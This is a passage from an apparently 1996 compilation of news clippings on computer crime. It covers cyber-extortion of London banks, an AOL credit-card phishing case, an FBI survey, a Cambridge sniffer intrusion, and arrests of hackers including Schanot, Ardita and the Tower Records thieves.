Less rocky, it seems, was his relationship with Netta Gilboa, a
38-year-old woman living near Philadelphia. Gilboa is editor-in-chief and
publisher of _Gray Areas_, a slick, text-heavy, irregular magazine that
explores the "grey areas" of "alternative lifestyles and deviant
subcultures."
-----------------------------------------------------------------------------
City of London Surrenders To Cyber Gangs June 2, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Times of London)
City of London financial institutions have paid huge sums to international
gangs of sophisticated "cyber terrorists" who have amassed up to 400 million
pounds worldwide by threatening to wipe out computer systems.
A Sunday Times Insight investigation has established that British and
American agencies are examining more than 40 "attacks" on financial
institutions in London and New York since 1993.
Victims have paid up to 13 million pounds a time after the blackmailers
demonstrated their ability to bring trading to a halt using advanced
"information warfare" techniques learnt from the military.
According to the American National Security Agency (NSA), they have
penetrated computer systems using "logic bombs" (coded devices that can
be remotely detonated), electromagnetic pulses and "high emission radio
frequency guns," which blow a devastating electronic "wind" through a
computer system.
The gangs are believed to have gained expertise in information warfare
techniques from the American military, which is developing "weapons"
that can disable or destroy computer hardware. Some are also known to
have infiltrated banks simply by placing saboteurs on their payroll as
temporary staff.
-----------------------------------------------------------------------------
Credit Fraud on AOL
~~~~~~~~~~~~~~~~~~~
(AP Newswire)
Two boys posed as billing representatives for an online service and stole
at least 15 credit card numbers, and used those numbers to buy $15,000
worth of merchandise, from computer equipment to cymbals, police said.
The two 16-year-olds were charged with 39 counts of possession of
stolen property, theft and attempted fraud. They were released to the
custody of their parents pending a Family Court hearing.
Police believe the boys obtained a program designed by computer
hackers to flimflam customers of America Online. It sends a message to
users saying they will be cut off if they don't type in their name,
credit card account number and computer service password.
-----------------------------------------------------------------------------
FBI Survey Reveals Growth of Cybercrime May 6, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Rory J. O'Connor (San Jose Mercury News)
Intruders are breaking into the nation's computer systems at an
increasing rate and often with more nefarious motives than in the
past, according to a survey co-sponsored by the FBI and a private
group of computer security professionals.
"What this shows is that the ante has been upped in cyberspace," said
Richard Power, senior analyst of the Computer Security Institute in
San Francisco, which conducted the survey. "As all manner of commerce
moves into cyberspace, all manner of crime is moving there as well.
It's no longer just vandalism."
More than 40 percent of the 428 corporate, university and government
sites that responded to the FBI survey reported at least one
unauthorized use of their computers within the last 12 months, with
some institutions reporting as many as 1,000 attacks in the period.
It also appears that there's more computer crime for hire occurring,
Power said, exploiting mainly older hackers who have graduated to
making money off the skill they once used simply to establish bragging
rights with their peers. He suggested that some of the hiring is being
done by intelligence services of various governments, although he
offered no proof.
-----------------------------------------------------------------------------
University hacker to be hunted on the Internet April 27, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Robert Uhlig (London Daily Telegraph)
Computer experts at Cambridge University are using the Internet to hunt
for a hacker who breached their security systems to access some of the
world's most sensitive research information.
The authorities had no indication that the hacker deleted or altered
files, "although there was the potential for that", he said. Files
belonging to world-renowned research scientists may have been viewed or
copied, giving the hacker an insight into commercially and academically
sensitive material.
The hacker used a so-called sniffer program, which sat silently within the
computer system for four weeks, monitoring its activities. This could
allow the hacker to compile a list of all passwords to give him unhindered
access to every computer on the university's network. "There was the
potential to access any material on any computer anywhere on the
university's network - ranging from electronic-mail to confidential
research data," said Mr Stibbs.
-----------------------------------------------------------------------------
Agents' Codes Exposed on Web March 16, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By: Robert E. Kessler (Newsday)
In an attempt to help (Ed) Cummings, and discredit the Secret Service, a Long
Island-based hacker magazine last week launched a page on the World Wide
Web publishing lists of Secret Service radio frequencies, photographs of
agents, and codenames used by the agency for officials and buildings.
Last year, Cummings, a 35-year-old native of Reading, Pa., pleaded
guilty to federal charges in Philadelphia of possessing telecommunications
equipment with intent to defraud and served a seven-month prison sentence.
As a result of that conviction, last week Cummings was sentenced by a
judge in Easton, Pa., north of Philadelphia, to serve a six- to 24-month
sentence for violating probation after pleading no contest to a 1994 charge
of tampering with evidence in another telephone hacking case.
"Painting this guy as some white knight or someone who is standing up
for free speech is wrong," said Kun. "He's engaged in fraud."
Cummings' attorney, Kenneth Trujillo, could not be reached for comment.
-----------------------------------------------------------------------------
Judge Denies Bond to Accused Hacker April 6, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Tim Bryant (St. Louis Post Dispatch)
After another prisoner said accused computer hacker Christopher Schanot was
planning a quick escape from his parents' home near High Ridge, a federal
magistrate decided Friday to keep Schanot in jail.
"He said he would wait a couple of days and take off," testified the
prisoner, Gerald Esposito.
Schanot's lawyer, federal public defender Norm London, told Davis that
the alleged conversation between the young man and Esposito never happened.
London, pointing out that Esposito has convictions for sexual assault,
said the older prisoner had "made overtures" to jail officials about moving
Schanot into Esposito's housing area.
-----------------------------------------------------------------------------
Hacked Off! Government, Firms Fight Computer Intruders April 7, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Colleen Bradford (St. Louis Post Dispatch)
Every day, hundreds of people in front of personal computers try to sneak
into corporate and government computer networks. Sometimes they just look
around, sometimes they destroy data and sometimes they steal personal and
classified information.
Two weeks ago, law enforcement officials charged an Argentine, 21, with
using the Internet to illegally break into computer networks at Department
of Defense installations, the NASA, Los Alamos National Laboratory and
several universities. The Justice Department is now seeking Julio Cesar
Ardita, who accessed confidential research files on aircraft design, radar
technology and satellite engineering.
And Chris Schanot, 19, from High Ridge, was in court in St. Louis last
week on charges of hacking. Schanot, who fled to Pennsylvania from St.
Louis after graduating from Vianney High School last May, is accused in a
five-count indictment of breaking into the computers of Southwestern Bell,
Bell Communications Research, Sprint and SRI International, a research and
development contractor with government contracts. His trial is set for June
10.
Schanot, like other hackers, likely became addicted to the feeling of
power that cracking into a private computer network brings, said St. Louis
County Police Sgt. Thomas Lasater, who has been investigating computer
crime for seven years.
"Normally these young hackers do not use the computers for financial
gain," Lasater said. "It's just a challenge for them to see what they can
conquer."
-----------------------------------------------------------------------------
Mike and Terry's Dreadful Adventure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Elizabeth Weise (AP Newswire)
Terry Ewing was late. His plane left in an hour and he was cutting it close.
But he couldn't tear himself away from his computer and the hole he'd hacked
into the security network of Tower Records.
He kept poking around, looking for something interesting to take to the
hackers' convention he was going to. Finally, five minutes before the
airport shuttle beeped in front of his apartment, he downloaded a file
containing 1,700 credit card numbers.
"We didn't expect anyone was watching," he said seven months later -
through an inch of Plexiglas at the Sacramento County Jail.
Ewing had had second thoughts about taking the Tower Records file with
him on July 31, so he left it on his hard drive while he and Kim hit
DefCon, the biggest of the West Coast hacker gatherings, for a weekend of
bragging, hanging out and messing around.
"We never guessed they were onto us. Their security was so weak it
really blew," the 20-year-old Kim says by phone from the sixth floor of
the same jail that held his friend. He is facing an 18-month sentence.
--------------------------------------------------------------------------------
